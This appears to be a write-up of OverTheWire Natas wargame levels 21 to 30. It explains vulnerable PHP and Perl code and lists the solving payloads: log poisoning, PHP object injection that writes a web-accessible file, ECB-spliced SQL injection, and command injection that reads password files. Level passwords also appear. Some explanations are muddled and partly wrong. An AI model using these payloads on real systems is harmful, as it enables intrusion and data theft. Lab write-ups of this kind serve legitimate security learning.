Password:BPhv63cKE1lkQl04cE5CuFTzXe15NfiH
URL: http://natas21.natas.labs.overthewire.org
After logging in with the credits above, nothing is exciting on the current site unless the note that mentions the experimenter website

Our objective as the same as the previous level to make the the admin key equal 1:

So let’s check the experimenter website:

Source Code:
<?php
session_start();
// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}
if(array_key_exists("debug", $_GET)) {
print "[DEBUG] Session contents:<br>";
print_r($_SESSION);
}
// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";
$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
$val = $defval;
if(array_key_exists($key, $_SESSION)) {
$val = $_SESSION[$key];
} else {
$_SESSION[$key] = $val;
}
$form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';
$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";
?>
This code updates the session variables with [align, fontsize, bgcolor] keys with their values:

We can validate this by visiting the debug page and adding ?debug at the end of URL:

Since our goal is to make the admin's key equal to 1, So what about injecting the admin=1 next to other parameters to the:

We notice that our key&value were added successfully on the debug page:

So let’s take the admin session cookie and place it on the other website to execute print_credentials() function and print the next level password:

After that refresh the page and voila we retrieve the next level password:

And here is the password for the level 22
d8rwGBl0Xslg3b76uh3fEbSlnOUBlozzNatas Level 22 → Level 23: HTTP Response/Redirect Bypass
Username:
natas22
Password:d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz
URL: http://natas22.natas.labs.overthewire.org
After logging in with the credits above, we saw a blank page only:

Source Code:
<?php
session_start();
if(array_key_exists("revelio", $_GET)) {
// only admins can reveal the password
if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
header("Location: /");
}
}?>
<?php
if(array_key_exists("revelio", $_GET)) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas23\n";
print "Password: <censored></pre>";
}?>
So simply we can pass the revelio parameter using burp to trace if there is redirection

And here is the password for the level 23
dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRsNatas Level 23 → Level 24: PHP Type Juggling / String Comparison
Username:
natas23
Password:dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs
URL: http://natas23.natas.labs.overthewire.org
After logging in with the credits above, there is a password field:

Source Code:
Password:
<form name="input" method="get">
<input type="text" name="passwd" size=20>
<input type="submit" value="Login">
</form>
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas24 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111?>
The code checks if the
passwdparameter exists in the request (GETorPOST).The first condition is that the string must contain
"iloveyou". This is done usingstrstr()which looks for the substring.The second condition checks if the value of
passwdis greater than 10 using$_REQUEST["passwd"] > 10.
Problem:
Initially, we might think of submitting something like iloveyou11, expecting it to pass both conditions. However, this doesn't work because PHP’s type juggling treats non-numeric strings as 0 when doing numeric comparisons.
Let me show why.
If
passwd=iloveyou11, PHP sees"iloveyou"first, converts it to0(since it’s non-numeric), and the comparison0 > 10fails.We need the
passwdvalue to start with a number greater than 10, followed by"iloveyou"to satisfy both conditions.

Solution:
The trick is to place a number greater than 10 before "iloveyou". For example, using 011iloveyou.
Let’s break down why this works:
passwd=101iloveyouThe first condition
strstr($_REQUEST["passwd"], "iloveyou")is satisfied because"iloveyou"is in the string.The second condition
$_REQUEST["passwd"] > 10is also satisfied because PHP sees the101at the start of the string and interprets it as a numeric value (011), which is obviously greater than 10.
Both conditions are true, and you get the credentials.

And here is the password for the level 24
MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWdNatas Level 24 → Level 25: PHP strcmp() Null Byte Vulnerability
Username:
natas24
Password:MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd
URL: http://natas24.natas.labs.overthewire.org
In this level, the challenge is similar to previous ones, but now the input is being compared against a secret password using the PHP function strcmp().
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(!strcmp($_REQUEST["passwd"],"<censored>")){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas25 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
At this level, the password is checked using the strcmp() function. According to the PHP documentation, this function compares two strings and returns:
0if the strings are equal,A value greater than 0 if the first string is greater,
A value less than 0 if the second string is greater.

Exploiting strcmp() Behavior
In PHP, strcmp() has a strange behavior when non-string data types are passed to it. Specifically, if non-string values are provided as arguments, it can sometimes return 0, even if the values are not actually equal to strings.
This is due to PHP's implicit type juggling. When strcmp() compares an array to a string, it doesn’t know how to compare the two and returns 0—indicating they are "equal" by default.
This vulnerability allows us to bypass the actual password check by exploiting this behavior.
Exploit: Sending an Empty Array
PHP's strcmp() will try to compare this array with the secret password but will fail to compare them correctly, causing it to return 0 and treating the input as correct. Similar to this challenge. So, let's try passing the empty array passwd[].

And here is the password for the level 24
ckELKUWZUfpOv6uxS6M7lXBpBssJZ4WsNatas Level 25 → Level 26: Directory Traversal and Log Poisoning
Username:
natas25
Password:ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws
URL: http://natas25.natas.labs.overthewire.org
After logging in with the credits above, The level starts with a long paragraph from Bad Boy Bubby movie but what is important to us is the language drop-down menu that is responsible for changing paragraph language using ?lang parameter.

Source Code:
<?php
function setLanguage(){
/* language setup */
if(array_key_exists("lang",$_REQUEST))
if(safeinclude("language/" . $_REQUEST["lang"] ))
return 1;
safeinclude("language/en");
}
function safeinclude($filename){
// check for directory traversal
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...
if (file_exists($filename)) {
include($filename);
return 1;
}
return 0;
}
function listFiles($path){
$listoffiles=array();
if ($handle = opendir($path))
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != "..")
$listoffiles[]=$file;
closedir($handle);
return $listoffiles;
}
function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
?>
Objective:
To find the password for the next level, we need to exploit a vulnerability in the language inclusion mechanism in the source code.
Analyzing the Source Code
The PHP code includes a function called setLanguage() which is responsible for loading a specific language file based on user input (lang parameter). It calls safeinclude() to include the corresponding language file.
Key functions:
setLanguage():
Checks if the
langparameter exists in the request.If present, it tries to include the specified file from the
language/directory by callingsafeinclude().If the file doesn't exist or is not specified, it defaults to including
language/en.
safeinclude():
This function attempts to safely include a file by checking for potential directory traversal attacks and illegal file access attempts.
It prevents directory traversal by replacing
../with an empty string and logs attempts.It prevents direct access to files containing
natas_webpass, which holds passwords.After these checks, it tries to include the file if it exists.
listFiles():
- Lists all files in the
language/directory, which are displayed in the language selection form.
- Lists all files in the
logRequest():
This function will create a
date()object, get the HTTP user agent from our request, the message generated by thesafeinclude()Check, and then write all of that to a log file available at
/var/www/natas/natas25/logs/natas25_oursessionIDhere.log.
Bypassing Directory Traversal
Our goal is to access files outside the language directory. But the app's code prevents ../ from being used directly. However, there’s a trick we can use:
By passing ....// instead of ../, the app’s str_replace() call only removes the ../ part, leaving us with ../ in the final string—exactly what we need.
Step 1: Proof of Concept
Let’s check if this trick works by requesting:http://natas25.natas.labs.overthewire.org/?lang=....//
We should see an error indicating that no file is found, proving that we’ve successfully moved up a directory. If we keep adding layers like ....//....//, we can move even further up the directory structure.

Step 2: Exploring the System
Using the traversal trick, we can attempt to read sensitive files. For instance, to read /etc/passwd: http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//etc/passwd
Although this doesn’t give us the password, it confirms that we can access arbitrary files on the system.

Bypassing the Password Check
The next step is to bypass the restriction preventing us from directly reading the natas_webpass/natas26 file. The application logs any illegal file access attempts, which are written to log files. These logs are stored in:
/var/www/natas/natas25/logs/natas25_<session_id>.log
The logRequest() function logs each access, including the HTTP User-Agent header. This is where we can inject PHP code and exploit a log injection vulnerability.
Step 3: Log Injection
Using Burp Suite, intercept a request to the server and modify the User-Agent header with the following PHP code:
<?php echo file_get_contents("/etc/natas_webpass/natas26"); ?>
When this request is processed, the code will be written into the log file. Now, access the log file by navigating to: http://natas25.natas.labs.overthewire.org/?lang=....//logs/natas25_6pd5e19vra7qpmdkl85lese8sn.log
This will execute the injected PHP code and print the password for Natas 26 in the log.

And here is the password for the level 25
cVXXwxMS3Y26n5UZU89QgpGmWCelaQlENatas Level 26 → Level 27: PHP Object Injection / Insecure Deserialization
Username:
natas26
Password:cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE
URL: http://natas26.natas.labs.overthewire.org
After logging in with the credits above, the web app lets you submit two (X, Y) pairs to draw lines. Each new pair is added to the previous lines.

Source Code:
<?php
// sry, this is ugly as hell.
// cheers kaliman ;)
// - morla
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
function showImage($filename){
if(file_exists($filename))
echo "<img src=\"$filename\">";
}
function drawImage($filename){
$img=imagecreatetruecolor(400,300);
drawFromUserdata($img);
imagepng($img,$filename);
imagedestroy($img);
}
function drawFromUserdata($img){
if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing)
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"] ,$object["y2"] ,$color);
}
}
}
function storeData(){
$new_object=array();
if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
else{
// create new array
$drawing=array();
}
$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
}
?>
<?php
session_start();
if (array_key_exists("drawing", $_COOKIE) ||
( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
$imgfile="img/natas26_" . session_id() .".png";
drawImage($imgfile);
showImage($imgfile);
storeData();
}
?>
The challenge source code consists of multiple functions and classes for drawing images and storing user inputs in cookies. It contains the following main components:
Logger Class:
The
Loggerclass is used to log messages to a file. It has three variables (logFile,initMsg, andexitMsg) and three methods (__construct(),log(), and__destruct()).__construct(): This method initializes the log file and writes an initial message (
#--session started--#) to the file.__destruct(): This method writes an exit message (
#--session end--#) when the object is destroyed.The log file is stored in
/tmp/natas26_<session_id>.log.
Image Drawing Functions:
drawImage($filename): This function creates an image and callsdrawFromUserdata()to draw lines based on user input.drawFromUserdata($img): It reads the user input (via GET parameters or cookies) to draw lines on the image.storeData(): It stores the user inputs into cookies after drawing the image.
Session Handling and Cookie Usage:
- The code uses PHP sessions and cookies to manage user input. The drawing coordinates are saved in cookies (as serialized and base64-encoded data) to allow persistence across requests.
Step 2: Vulnerable Code Snippet
The main vulnerability here is the insecure deserialization of user-controlled data, as seen in the following lines from drawFromUserdata():
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
The unserialize() function is used to deserialize the drawing cookie, which is controlled by the user. Since PHP’s unserialize() can execute code when deserializing objects with destructors, this is a critical point of exploitation.
Step 3: Exploitation - PHP Object Injection via Logger Class
We can exploit the insecure deserialization by injecting a malicious object into the drawing cookie. Since the Logger class has a __destruct() method, we can control the destruction of an object to trigger file operations, such as reading sensitive files.
Malicious Code Construction:
- We create an object of the
Loggerclass that will write the contents of/etc/natas_webpass/natas27to a web-accessible file (img/flag.php) when it is destroyed.
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct(){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="<?php include_once('/etc/natas_webpass/natas27');?>";
$this->logFile = "img/flag.php";
}
}
$output[]=new Logger();
echo base64_encode(serialize($output));
?>
- This code will create a base64-encoded serialized object that, upon deserialization, writes the content of the
/etc/natas_webpass/natas27file toimg/flag.php.
Step 4: Steps for Exploitation
Craft the Malicious Object:
- Run the PHP code provided to generate a base64-encoded payload.

Send the payload:
- Use Burp Suite to set the
drawingcookie with the base64-encoded payload generated in the previous step.
- Use Burp Suite to set the

Trigger Deserialization:
- Reload the page. When the application deserializes the cookie, the
Loggerobject will trigger its destructor, writing the contents of/etc/natas_webpass/natas27toimg/flag.php.
- Reload the page. When the application deserializes the cookie, the

Step 4: Solution Summary
The vulnerable code is the
unserialize()function indrawFromUserdata(), which allows the deserialization of user-controlled data.We exploit this by injecting a serialized
Loggerobject that writes the password for the next level to a file accessible on the webserver.After injecting the malicious payload, we retrieve the password by visiting the file created by the injected
Loggerobject.
With this approach, we successfully exploited the insecure deserialization vulnerability to retrieve the password for natas27.
And here is the password for the level 27
u3RRffXjysjgwFU6b9xa23i6prmUsYneNatas Level 27 → Level 28: SQL Truncation Attack / Username Space Padding Exploitation
Username:
natas27
Password:u3RRffXjysjgwFU6b9xa23i6prmUsYne
URL: http://natas27.natas.labs.overthewire.org
After logging in with the credits above, It’s another login form using username and password…

Source Code:
<?php
// database gets cleared every 5 min
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
function checkCredentials($link,$usr,$pass){
$user=mysqli_real_escape_string($link, $usr);
$password=mysqli_real_escape_string($link, $pass);
$query = "SELECT username from users where username='$user' and password='$password' ";
$res = mysqli_query($link, $query);
if(mysqli_num_rows($res) > 0){
return True;
}
return False;
}
function validUser($link,$usr){
$user=mysqli_real_escape_string($link, $usr);
$query = "SELECT * from users where username='$user'";
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
return True;
}
}
return False;
}
function dumpData($link,$usr){
$user=mysqli_real_escape_string($link, trim($usr));
$query = "SELECT * from users where username='$user'";
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
while ($row = mysqli_fetch_assoc($res)) {
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}
function createUser($link, $usr, $pass){
if($usr != trim($usr)) {
echo "Go away hacker";
return False;
}
$user=mysqli_real_escape_string($link, substr($usr, 0, 64));
$password=mysqli_real_escape_string($link, substr($pass, 0, 64));
$query = "INSERT INTO users (username,password) values ('$user','$password')";
$res = mysqli_query($link, $query);
if(mysqli_affected_rows($link) > 0){
return True;
}
return False;
}
if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas27', '<censored>');
mysqli_select_db($link, 'natas27');
if(validUser($link,$_REQUEST["username"])) {
//user exists, check creds
if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
echo "Here is your data:<br>";
$data=dumpData($link,$_REQUEST["username"]);
print htmlentities($data);
}
else{
echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
}
}
else {
//user doesn't exist
if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
}
}
mysqli_close($link);
} else {
?>
Functionality Flow:
Username & Password Submission: When you submit a username and password through the form, the code checks whether the username exists in the database using the
validUserfunction.If the user exists, it checks the credentials using
checkCredentials.If the credentials are valid, it displays the user's data using
dumpData.If the password is wrong, it shows the message "Wrong password."
User Creation: If the user does not exist, the script creates a new user with the provided username and password using the
createUserfunction. The username and password are both truncated to 64 characters and escaped to prevent SQL injection.
Key Vulnerability:
The vulnerability lies in how MySQL handles string truncation for the username field, which has a length limit of 64 characters. If you enter a username that is longer than 64 characters, MySQL will silently truncate it.
This allows us to create two entries in the users table with the same truncated username but with different passwords. Here's how:
Login as 'natas28': The
natas28account already exists, but we don't know the password. If you try logging in as 'natas28', you'll get a "Wrong password" message.Create a Long Username:
When you submit a username like
'natas28'followed by a large number of spaces and extra characters, such as'natas28 {spaces} a', it exceeds 64 characters.When this is inserted into the database, MySQL truncates the username to
'natas28', but since the username is unique, it creates a second entry for'natas28'with the password you provided.
Login as 'natas28' with Your Password: Now that there are two entries in the database with the username
'natas28':When you log in as
'natas28'with your password, the application will retrieve the first row for'natas28'from the database.The first row contains the actual password for
'natas28', which will be dumped using thedumpDatafunction.
The Null Byte Trick:
Normally, appending a username that is too long will result in it being truncated after 64 characters.
By using a null byte (
%00) after the username, we can terminate the string in a way that forces truncation earlier.The null byte is treated as the end of a string in many programming languages, so everything after it is ignored.
Exploitation:
The goal is to create a new user by exploiting this truncation behavior.
We need to create a user with the name
natas28, but this is already taken. So, we use a string likenatas28%00.The null byte
%00will cause the username check to fail (since it is not treated as a valid match), allowing us to create a new user.Once the user is created with the null byte, we can log in using the shortened username (
natas28) and our password.
Steps:
- Create a new user with a long username:
Use a username like:
- Create a new user with a long username:
natas28%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
and any password. This exploits the null byte truncation to bypass the existing natas28 user.

- Log in as
natas28with the password you just set.
Now, because of the truncation, the system recognizes your user asnatas28(but with your password), allowing you to dump the originalnatas28's data.

And here is the password for the level 28
1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVjNatas Level 28 → Level 29: Block Cipher Exploitation / SQL Injection with ECB Encryption
Username:
natas28
Password:1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj
URL: http://natas28.natas.labs.overthewire.org
After logging in with the credits above, Unusually there is no source code for this level.

By testing the behavior of the search function we are dealing with an application that allows users to search for jokes in a database using a search query and it’s similar to the levels that searches in dictionary.txt that it’s vulnerable to SQLi.

If we try SQL injection by submitting a search query of '… we don’t get anything useful. They must be escaping that character, as we get results back that have literal single quotes in them:

The query is encrypted and passed to the search.php via ?query parameter. Let's walk through the challenge and see how we can exploit it to retrieve the password for the next level.

## if we enter "a" letter
http://natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKriAqPE2%2B%2BuYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D
This query seems to be encrypted, and when we decode it using CyberChef, we realize it's not just base64 encoded but encrypted data.

When we send plain text as a query parameter (for example, ?query=test), we get an error mentioning invalid padding. This strongly indicates that the encryption method is a block cipher that operates in blocks of fixed size (most likely 16 bytes).

ECB Mode Detection
Next, by varying the length of the input, we notice that some of the encrypted blocks in the URL remain the same across different queries. This repetition of encrypted blocks is a typical indicator of ECB (Electronic Codebook) mode encryption, where identical plaintext blocks always produce identical ciphertext blocks.
Understanding the Query Structure
Based on this, we hypothesize that the encrypted query consists of three parts:
Default Prepended Text: This is some fixed string prepended to our input before encryption.
User Input: The search string we enter.
Padding: Padding was added to align the total length to the block size (16 bytes for block ciphers like AES).

## different query between []
input= a
[G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjP][KriAqPE2%2B%2BuYlniRMkobB1v]foQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D
input= b
[G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjP][IYiwNnSJY7KHJGU%2BXjuMzVv]foQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D
input= c
[G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjP][KEMZKNASy09t5ooTNAbaX0v]foQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D
input= abc
[G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjP][LA9VE0ga2mtCFqzqUJJfB2mi4rXbbzHxmhT3Vnjq2qkEJJuT5N6gkJR5mVucRLNRo%3D
input= abc123
[G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjP]LcD5JtvcsL4npy0PvdLSLWQcCYxLrNxe2TV1ZOUQXdfmTQ3MhoJTaSrfy9N5bRv4o%3D
A bit of a theory:

Block cipher mode of operation - Source
We can infer this by analyzing how the query size increases when we change the input length.
Using this script:
import requests
import string
from requests.auth import HTTPBasicAuth
import urllib.parse
basicAuth = HTTPBasicAuth('natas28', '1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj')
url = "http://natas28.natas.labs.overthewire.org/index.php"
count = 1
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
while count <= 100:
data = "query=" + "A" * count
response = requests.post(url, headers=headers, data=data, auth=basicAuth, verify=False, allow_redirects=True)
formatted_count = "{:02d}x a".format(count)
clean_url = urllib.parse.unquote(response.url).replace("http://natas28.natas.labs.overthewire.org/search.php/?", "")
print(formatted_count, clean_url)
count += 1
print("Done!")
The Result:

This increase in length, as well as the length of the chars in the blue box, are roughly the same size. If we take an example string from the green box, JfIqcn9iVBmkZvmvU4kfmy, it is 22 chars in length (in base64) but 16 chars when we base64 decode it.

This tells us that the block size is 16.
The second challenge that will face us is the sql injection escaping
if we pass aaaaaaaaaA to the search function or other letters like B, C and D for example this is the query will look like this:

Identifying Block Structure
For A, B, C all blocks are the same unless the third block changes according to the content
#All queries are url decoded
aaaaaaaaaA: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPI98XYsr4llMqusV1gUeidRc4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
aaaaaaaaaB: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLESiMWKuPw4RRVkMJcBnvec4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
aaaaaaaaaC: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJZgOo3mNiOAbTfRkS+2AMyc4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
But with ‘ , “ and \ all blocks are the same unless the fourth one
aaaaaaaaa\: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIR27gK4CQl3Jcmv/0YAxYOfN5woKhSkQjlY0g5eVSYncqM9OYQkTq645oGdhkgSlo=
aaaaaaaaa': G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIR27gK4CQl3Jcmv/0YAxYOstdkbwCSkbjZzJR1FrozncqM9OYQkTq645oGdhkgSlo=
aaaaaaaaa": G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIR27gK4CQl3Jcmv/0YAxYOe0uzFQTQyTJF5uPUK3I8gMqM9OYQkTq645oGdhkgSlo=
If this indicates anything, it indicates that these Characters may be escaped to sanitize the sql injection for example by replacing aaaaaaaaa“ to aaaaaaaaa\
Testing different input lengths reveals:
The first 2 blocks are constant (query prefix)
The last 2 blocks are constant (query suffix)
Middle blocks contain our input
Block size is 16 bytes
From analysis of the ECB we understood:
Same input block = Same output block
No chaining between blocks
Makes pattern analysis possible
- Key components identified:
Header: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP
DummyBlock: ItlMM3qTizkRB5P2zYxJsb
Trailer: c4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
Exploitation Strategy
The application likely escapes
'with\for SQL injection preventionBy placing
'after exactly 9 characters, we can:Force the escape character into a predictable block
Replace that block with our dummy block
Allow our SQL injection to work
Crafting the Exploit
- First, let's enumerate the databases using this query:
AAAAAAAAA' UNION SELECT table_name FROM information_schema.tables; --
- Breaking down the payload structure:
[Header block]
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP
[Dummy block]
ItlMM3qTizkRB5P2zYxJsb
[Encrypted SQL injection part]
r0T1ii+Ysw9O0BMRL2Q9HUY+Hp7DfIbgLrY9HzzScnSwiwIQQLHbuTybkf0vfvyOoqRnCxfnbDr4842Rxdxh1GSGlUrqRvuT6auFhFtPS9DX/ytyVFP8KUcB5R9dfA+O
[Trailer]
c4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
- URL-encode the result then submit

- Now that we know the table name, we can modify our injection to get the password:
AAAAAAAAA' UNION SELECT password FROM users; --
- Final payload breakdown with actual values:
Original query structure:
[Header][Block with our input][Trailer]
Becomes:
[Known good header]: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP
[Dummy block]: ItlMM3qTizkRB5P2zYxJsb
[Our SQL injection encrypted]: +76GKJOY6adng39QUMPprGe5X2vrsM8BRZAxT9Bt8cmSBdGBYutGkE7dxkKLuB1QrDuHHBxEg4a0XNNt
[Known good trailer]: no9y9GVRSbu6ISPYnZVBfqJ/OntzilF7SkUAJGd1F1rllrvW803zOcae3OEfZlC7ztYnAg==
Full payload URL:
http://natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPItlMM3qTizkRB5P2zYxJsb%2B76GKJOY6adng39QUMPprGe5X2vrsM8BRZAxT9Bt8cmSBdGBYutGkE7dxkKLuB1QrDuHHBxEg4a0XNNtno9y9GVRSbu6ISPYnZVBfqJ%2FOntzil%2F7SkUAJGd1F1rllrvW803zOcae3OEfZlC7ztYnAg%3D%3D

Resources:
And here is the password for the level 29
31F4j3Qi2PnuhIZQokxXk1L3QT9CppnsNatas Level 29 → Level 30: Command Injection and Filter Bypass in Perl
Username:
natas29
Password:31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns
URL: http://natas29.natas.labs.overthewire.org
After logging in with the credits above, this level shifts from PHP to Perl, and we notice that the drop-down menu and the file content give us a hint that this application is written in Perl. As usual, the goal is to read the password file for the next level.
The page presents a dropdown menu with various "perl underground" options. When selecting an option, it appends a .txt extension and displays the file contents.
Understanding the Vulnerability
Step 1: Command Injection Discovery
I discovered that the application is vulnerable to command injection through the file parameter. The key is that Perl command injection requires null byte termination.
Test payload:
http://natas29.natas.labs.overthewire.org/index.pl?file=|ls%00

This successfully lists the directory contents, confirming command injection is possible.
Step 2: Understanding the Filter
Initial attempts to read /etc/natas_webpass/natas30 directly failed with a "meep!" message. After viewing the source code (using |cat index.pl|base64%00), I found the filtering mechanism:
perlCopyif($f=~/natas/){
print "meeeeeep!<br>";
}
The application blocks any request containing the string "natas".
Step 3: Bypass Strategy
The filter can be bypassed using wildcards to replace characters in "natas":
Replace one character in each instance of "natas" with a question mark (?)
The question mark acts as a single-character wildcard in Unix-like systems
Solution
Final payload:
http://natas29.natas.labs.overthewire.org/index.pl?file=|cat /etc/n?tas_webpass/n?tas30%00

And here is the password for the level 30
WQhx1BvcmP9irs2MP9tRnLsNaDI76YrHNatas Level 30 → Level 31
Username:
natas30
Password:WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH
URL: http://natas30.natas.labs.overthewire.org
After logging in with the credits above, This level continues with Perl and introduces an interesting SQL injection vulnerability that exploits the behavior of Perl's DBI quote() function. The page presents a simple login form with username and password fields.
Understanding the Source Code
Let's break down the key parts of the source code:
if ('POST' eq request_method && param('username') && param('password')){
my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
my $query="Select * FROM users where username =".$dbh->quote(param('username')) .
" and password =".$dbh->quote(param('password'));
my $sth = $dbh->prepare($query);
$sth->execute();
my $ver = $sth->fetch();
if ($ver){
print "win!<br>";
print "here is your result:<br>";
print @$ver;
}
Key observations:
The code uses
$dbh->quote()for SQL injection preventionParameters are obtained using
param()The query results are displayed if authentication succeeds
The Vulnerability
While searching about perl sql injection I found this The vulnerability lies in how Perl's DBI quote() function behaves with different argument types. There are two key aspects:

The
quote()function has two forms:perlCopy$sql = $dbh->quote($value); # Form 1 $sql = $dbh->quote($value, $data_type); # Form 2In Perl, the
param()function can return multiple values if the same parameter name is used multiple times
The SQL Injection Vector
When quote() is called with a second argument specifying a numeric data type (like SQL_INTEGER = 4), it treats the input as numeric and doesn't quote it. This creates our injection opportunity.
Crafting the Exploit
